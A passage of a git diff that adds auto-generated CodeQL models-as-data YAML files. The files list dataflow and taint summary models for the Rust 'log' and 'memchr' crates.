000000000000..a894c71018fc --- /dev/null +++ b/rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml @@ -0,0 +1,59 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self].Field[crate::Metadata::level]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self].Field[crate::Metadata::target]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::MetadataBuilder::metadata].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::MetadataBuilder::metadata]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[0]", "Argument[self].Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::level]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[0]", "ReturnValue.Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::level]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[0]", "Argument[self].Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::target]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[0]", "ReturnValue.Field[crate::MetadataBuilder::metadata].Field[crate::Metadata::target]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[self].Field[crate::Record::args]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::file", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::key_values", "Argument[self].Field[crate::Record::key_values].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::key_values", "Argument[self].Field[crate::Record::key_values].Field[crate::KeyValues(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self].Field[crate::Record::metadata].Field[crate::Metadata::level]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::line", "Argument[self].Field[crate::Record::line]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::metadata", "Argument[self].Field[crate::Record::metadata]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::module_path", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self].Field[crate::Record::metadata].Field[crate::Metadata::target]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_builder", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[0]", "Argument[self].Field[crate::RecordBuilder::record].Field[crate::Record::args]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[0]", "ReturnValue.Field[crate::RecordBuilder::record].Field[crate::Record::args]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::RecordBuilder::record].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::build", "Argument[self].Field[crate::RecordBuilder::record]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::file", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::file_static", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::key_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::level", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::line", "Argument[0]", "Argument[self].Field[crate::RecordBuilder::record].Field[crate::Record::line]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::line", "Argument[0]", "ReturnValue.Field[crate::RecordBuilder::record].Field[crate::Record::line]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::line", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::metadata", "Argument[0]", "Argument[self].Field[crate::RecordBuilder::record].Field[crate::Record::metadata]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::metadata", "Argument[0]", "ReturnValue.Field[crate::RecordBuilder::record].Field[crate::Record::metadata]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::metadata", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::module_path", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::module_path_static", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::target", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_key", "Argument[self]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::from_value", "Argument[0]", "ReturnValue.Field[crate::kv::error::Error::inner].Field[crate::kv::error::Inner::Value(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::into_value", "Argument[self].Field[crate::kv::error::Error::inner].Field[crate::kv::error::Inner::Value(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::msg", "Argument[0]", "ReturnValue.Field[crate::kv::error::Error::inner].Field[crate::kv::error::Inner::Msg(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::borrow", "Argument[self].Field[crate::kv::key::Key::key]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::as_ref", "Argument[self].Field[crate::kv::key::Key::key]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::from", "Argument[0]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_key", "Argument[self].Field[crate::kv::key::Key::key]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::as_str", "Argument[self].Field[crate::kv::key::Key::key]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::from_str", "Argument[0]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_borrowed_str", "Argument[self].Field[crate::kv::key::Key::key]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_value", "Argument[self].Field[crate::kv::value::Value::inner].Reference", "ReturnValue.Field[crate::kv::value::Value::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_value", "Argument[self].Field[crate::kv::value::Value::inner]", "ReturnValue.Field[crate::kv::value::Value::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_key", "Argument[self]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/log:log", "::to_key", "Argument[self]", "ReturnValue.Field[crate::kv::key::Key::key]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml b/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml new file mode 100644 index 000000000000..62617b2b0334 --- /dev/null +++ b/rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml @@ -0,0 +1,168 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::OneIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::One(0)].Field[crate::arch::generic::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::aarch64::neon::memchr::OneIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::ThreeIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[2]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Three(0)].Field[crate::arch::generic::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::aarch64::neon::memchr::ThreeIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::TwoIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Two(0)].Field[crate::arch::generic::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new_unchecked", "Argument[1]", "ReturnValue.Field[crate::arch::aarch64::neon::memchr::Two(0)].Field[crate::arch::generic::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::aarch64::neon::memchr::TwoIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::all::memchr::OneIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::arch::all::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::try_new", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::all::memchr::OneIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::all::memchr::ThreeIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::arch::all::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::arch::all::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[2]", "ReturnValue.Field[crate::arch::all::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::try_new", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::try_new", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::try_new", "Argument[2]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::all::memchr::ThreeIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::iter", "Argument[self]", "ReturnValue.Field[crate::arch::all::memchr::TwoIter::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::arch::all::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::arch::all::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::try_new", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::try_new", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::all::memchr::TwoIter::it].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Finder::byte1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Finder::byte2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::pair", "Argument[self].Field[crate::arch::all::packedpair::Finder::pair]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::with_pair", "Argument[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Finder::byte1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::with_pair", "Argument[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Finder::byte2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::with_pair", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Finder::pair]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::index1", "Argument[self].Field[crate::arch::all::packedpair::Pair::index1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::index2", "Argument[self].Field[crate::arch::all::packedpair::Pair::index2]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::with_indices", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Pair::index1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::with_indices", "Argument[2]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::arch::all::packedpair::Pair::index2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_raw", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::count", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::count", "Argument[self].Field[crate::arch::generic::memchr::Iter::end]", "Argument[0].Parameter[1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::count", "Argument[self].Field[crate::arch::generic::memchr::Iter::start]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::generic::memchr::Iter::end]", "Argument[0].Parameter[1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::generic::memchr::Iter::start]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self].Field[crate::arch::generic::memchr::Iter::start]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next_back", "Argument[self].Field[crate::arch::generic::memchr::Iter::end]", "Argument[0].Parameter[1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next_back", "Argument[self].Field[crate::arch::generic::memchr::Iter::start]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::needle1", "Argument[self].Field[crate::arch::generic::memchr::One::s1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::arch::generic::memchr::One::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::needle1", "Argument[self].Field[crate::arch::generic::memchr::Three::s1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::needle2", "Argument[self].Field[crate::arch::generic::memchr::Three::s2]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::needle3", "Argument[self].Field[crate::arch::generic::memchr::Three::s3]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::arch::generic::memchr::Three::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::arch::generic::memchr::Three::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[2]", "ReturnValue.Field[crate::arch::generic::memchr::Three::s3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::needle1", "Argument[self].Field[crate::arch::generic::memchr::Two::s1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::needle2", "Argument[self].Field[crate::arch::generic::memchr::Two::s2]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::arch::generic::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::arch::generic::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::min_haystack_len", "Argument[self].Field[crate::arch::generic::packedpair::Finder::min_haystack_len]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::arch::generic::packedpair::Finder::pair]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::pair", "Argument[self].Field[crate::arch::generic::packedpair::Finder::pair]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[0].Field[crate::cow::Imp::Owned(0)]", "ReturnValue.Field[crate::cow::CowBytes(0)].Field[crate::cow::Imp::Owned(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::cow::CowBytes(0)].Field[crate::cow::Imp::Owned(0)]", "ReturnValue.Field[crate::cow::CowBytes(0)].Field[crate::cow::Imp::Owned(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr2::needle1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::memchr::Memchr2::needle2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr3::needle1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::memchr::Memchr3::needle2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[2]", "ReturnValue.Field[crate::memchr::Memchr3::needle3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr::needle1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memmem::FindIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::memmem::FindIter::finder]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindRevIter::haystack]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindRevIter::pos]", "ReturnValue.Field[crate::memmem::FindRevIter::pos]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::memmem::FindRevIter::finder]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::Finder::searcher].Reference", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::Finder::searcher]", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_iter", "Argument[0]", "ReturnValue.Field[crate::memmem::FindIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_iter", "Argument[self].Field[crate::memmem::Finder::searcher].Reference", "ReturnValue.Field[crate::memmem::FindIter::finder].Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_iter", "Argument[self].Field[crate::memmem::Finder::searcher]", "ReturnValue.Field[crate::memmem::FindIter::finder].Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::Finder::searcher].Reference", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::Finder::searcher]", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::prefilter", "Argument[0]", "Argument[self].Field[crate::memmem::FinderBuilder::prefilter]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::prefilter", "Argument[0]", "ReturnValue.Field[crate::memmem::FinderBuilder::prefilter]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::prefilter", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::FinderRev::searcher].Reference", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FinderRev::searcher].Reference", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rfind_iter", "Argument[0]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rfind_iter", "Argument[self].Field[crate::memmem::FinderRev::searcher].Reference", "ReturnValue.Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rfind_iter", "Argument[self].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[1]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[2]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0].Element", "ReturnValue.Field[crate::memmem::searcher::SearcherRev::kind].Field[crate::memmem::searcher::SearcherRevKind::OneByte::needle]", "value", "dfc-generated"] + - 